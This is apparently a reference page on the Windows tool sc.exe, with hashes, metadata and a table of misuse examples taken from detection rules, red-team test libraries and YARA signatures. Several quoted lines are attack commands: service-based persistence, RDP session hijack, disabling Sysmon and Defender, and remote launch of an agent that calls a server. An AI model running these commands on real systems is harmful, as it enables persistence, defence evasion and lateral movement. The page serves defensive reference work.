sc.exe

  • File Path: C:\windows\system32\sc.exe
  • Description: Service Control Manager Configuration Tool

Hashes

Type Hash
MD5 7AFDBA07926BE8AB1770CF59A35FF0B7
SHA1 CA71AF6BB7B626333BB923D028CB333DCB153888
SHA256 B20BBD7B8B5707ACC00D7C51EF79771F22F2E201D4844252B675058EBEA9E416
SHA384 3427B06164A78DDCA1C3B793703520C53F2D8D50D8E85560674BB6D48D6B98900C13E65DDCD63E072BE61081B92D7E05
SHA512 6604EE7ED7878F55D9098204081459CA22548693F4AAEE084575AC8C07609BAEB521D9C50B8B0C59EA896A570452C182EA58AEF86E175C3B6E222EB5AFAF47FA
SSDEEP 768:p49qXWmKpPQo+b6Te0fUOApviPc9YuFjv5MTfe00gR/65n49R6PiI303rvHbmvlZ:RWmqe0oj+YgRSI6P73I9JBRdgCkEFC

Signature

  • Status: The file C:\windows\system32\sc.exe is not digitally signed. You cannot run this script on the current system. For more information about running scripts and setting execution policy, see about_Execution_Policies at http://go.microsoft.com/fwlink/?LinkID=135170
  • Serial: ``
  • Thumbprint: ``
  • Issuer:
  • Subject:

File Metadata

  • Original Filename: sc.exe.mui
  • Product Name: Microsoft Windows Operating System
  • Company Name: Microsoft Corporation
  • File Version: 6.3.9600.16384 (winblue_rtm.130821-1623)
  • Product Version: 6.3.9600.16384
  • Language: English (United States)
  • Legal Copyright: Microsoft Corporation. All rights reserved.

Possible Misuse

The following table contains possible examples of sc.exe being misused. While sc.exe is not inherently malicious, its legitimate functionality can be abused for malicious purposes.

Source Source File Example License
sigma image_load_suspicious_dbghelp_dbgcore_load.yml - '\sc.exe' DRL 1.0
sigma proc_creation_win_multiple_suspicious_cli.yml - sc.exe DRL 1.0
sigma proc_creation_win_new_service_creation.yml - Image\|endswith: '\sc.exe' DRL 1.0
sigma proc_creation_win_service_stop.yml - '\sc.exe' DRL 1.0
sigma proc_creation_win_susp_recon.yml - '\sc.exe' DRL 1.0
sigma proc_creation_win_susp_service_dacl_modification.yml - '\sc.exe' DRL 1.0
sigma proc_creation_win_susp_service_path_modification.yml Image\|endswith: '\sc.exe' DRL 1.0
sigma proc_creation_win_susp_spoolsv_child_processes.yml - \sc.exe DRL 1.0
sigma proc_creation_win_using_sc_to_change_sevice_image_path_by_non_admin.yml description: Detection of sc.exe utility spawning by user with Medium integrity level to change service ImagePath or FailureCommand DRL 1.0
sigma proc_creation_win_using_sc_to_change_sevice_image_path_by_non_admin.yml Image\|endswith: '\sc.exe' DRL 1.0
sigma proc_creation_win_using_sc_to_hide_sevices.yml description: Detection of sc.exe utility adding a new service with special permission which hides that service. DRL 1.0
sigma proc_creation_win_using_sc_to_hide_sevices.yml Image\|endswith: '\sc.exe' DRL 1.0
LOLBAS Sc.yml Name: Sc.exe  
LOLBAS Sc.yml - Path: C:\Windows\System32\sc.exe  
LOLBAS Sc.yml - Path: C:\Windows\SysWOW64\sc.exe  
malware-ioc misp-badiis.json "description": "Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (<code>services.exe</code>) is an interface to manage and manipulate services.(Citation: Microsoft Service Control Manager) The service control manager is accessible to users via GUI components as well as system utilities such as <code>sc.exe</code> and [Net](https://attack.mitre.org/software/S0039).\n\n[PsExec](https://attack.mitre.org/software/S0029) can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API.(Citation: Russinovich Sysinternals)\n\nAdversaries may leverage these mechanisms to execute malicious content. This can be done by either executing a new or modified service. This technique is the execution used in conjunction with [Windows Service](https://attack.mitre.org/techniques/T1543/003) during service persistence or privilege escalation.", © ESET 2014-2018
atomic-red-team T1489.md Stops a specified service using the sc.exe command. Upon execution, if the spooler service was running infomration will be displayed saying MIT License. © 2018 Red Canary
atomic-red-team T1489.md sc.exe stop #{service_name} MIT License. © 2018 Red Canary
atomic-red-team T1489.md sc.exe start #{service_name} >nul 2>&1 MIT License. © 2018 Red Canary
atomic-red-team T1543.003.md <blockquote>Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.(Citation: TechNet Services) Windows service configuration information, including the file path to the service’s executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg. MIT License. © 2018 Red Canary
atomic-red-team T1543.003.md Upon successful execution, powershell will download AtomicService.exe from github. cmd.exe will spawn sc.exe which will create and start the service. Results will output via stdout. MIT License. © 2018 Red Canary
atomic-red-team T1543.003.md sc.exe create #{service_name} binPath= #{binary_path} MIT License. © 2018 Red Canary
atomic-red-team T1543.003.md sc.exe start #{service_name} MIT License. © 2018 Red Canary
atomic-red-team T1543.003.md sc.exe stop #{service_name} >nul 2>&1 MIT License. © 2018 Red Canary
atomic-red-team T1543.003.md sc.exe delete #{service_name} >nul 2>&1 MIT License. © 2018 Red Canary
atomic-red-team T1543.003.md sc.exe delete W64Time MIT License. © 2018 Red Canary
atomic-red-team T1562.001.md if(sc.exe query sysmon | findstr sysmon) { exit 0 } else { exit 1 } MIT License. © 2018 Red Canary
atomic-red-team T1562.001.md sc.exe config #{service_name} start= disabled MIT License. © 2018 Red Canary
atomic-red-team T1562.001.md sc.exe config #{service_name} start= auto >nul 2>&1 MIT License. © 2018 Red Canary
atomic-red-team T1563.002.md sc.exe create sesshijack binpath= “cmd.exe /k tscon #{Session_ID} /dest:#{Destination_ID}” MIT License. © 2018 Red Canary
atomic-red-team T1563.002.md sc.exe delete sesshijack >nul 2>&1 MIT License. © 2018 Red Canary
atomic-red-team T1569.002.md <blockquote>Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (services.exe) is an interface to manage and manipulate services.(Citation: Microsoft Service Control Manager) The service control manager is accessible to users via GUI components as well as system utilities such as sc.exe and Net. MIT License. © 2018 Red Canary
atomic-red-team T1569.002.md Upon successful execution, cmd.exe creates a new service using sc.exe that will start powershell.exe to create a new file art-marker.txt MIT License. © 2018 Red Canary
atomic-red-team T1569.002.md sc.exe create #{service_name} binPath= “#{executable_command}” MIT License. © 2018 Red Canary
atomic-red-team T1569.002.md sc.exe start #{service_name} MIT License. © 2018 Red Canary
atomic-red-team T1569.002.md sc.exe delete #{service_name} MIT License. © 2018 Red Canary
atomic-red-team T1574.011.md <blockquote>Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for registry to redirect from the originally specified executable to one that they control, in order to launch their own code at Service start. Windows stores local service configuration information in the Registry under HKLM\SYSTEM\CurrentControlSet\Services. The information stored under a service’s Registry keys can be manipulated to modify a service’s execution parameters through tools such as the service controller, sc.exe, PowerShell, or Reg. Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: Registry Key Security) MIT License. © 2018 Red Canary
atomic-red-team T1574.011.md sc.exe delete #{weak_service_name} MIT License. © 2018 Red Canary
atomic-red-team T1574.011.md sc.exe create #{weak_service_name} binpath= “#{weak_service_path}” MIT License. © 2018 Red Canary
atomic-red-team T1588.002.md #{local_folder}#{local_executable} /EXEFilename “C:\Windows\System32\sc.exe” /WindowState 0 /CommandLine “stop WinDefend” /StartDirectory “” /RunAs 8 /Run MIT License. © 2018 Red Canary
signature-base crime_ransom_robinhood.yar $s4 = “sc.exe stop SQLAgent$SQLEXPRESS” nocase CC BY-NC 4.0
signature-base gen_empire.yar $s1 = “$Result = sc.exe config $($TargetService.Name) binPath= $OriginalPath” fullword ascii CC BY-NC 4.0
signature-base gen_empire.yar $s2 = “$Result = sc.exe pause $($TargetService.Name)” fullword ascii CC BY-NC 4.0
stockpile 95727b87-175c-4a69-8c7a-a5d82746a753.yml sc.exe \\#{remote.host.fqdn} stop sandsvc; Apache-2.0
stockpile 95727b87-175c-4a69-8c7a-a5d82746a753.yml sc.exe \\#{remote.host.fqdn} delete sandsvc /f; Apache-2.0
stockpile 95727b87-175c-4a69-8c7a-a5d82746a753.yml sc.exe \\#{remote.host.fqdn} create sandsvc start= demand error= ignore binpath= "cmd /c start C:\Users\Public\s4ndc4t.exe -server #{server} -v -originLinkID #{origin_link_id}" displayname= "Sandcat Execution"; Apache-2.0
stockpile 95727b87-175c-4a69-8c7a-a5d82746a753.yml sc.exe \\#{remote.host.fqdn} start sandsvc; Apache-2.0

MIT License. Copyright (c) 2020-2021 Strontic.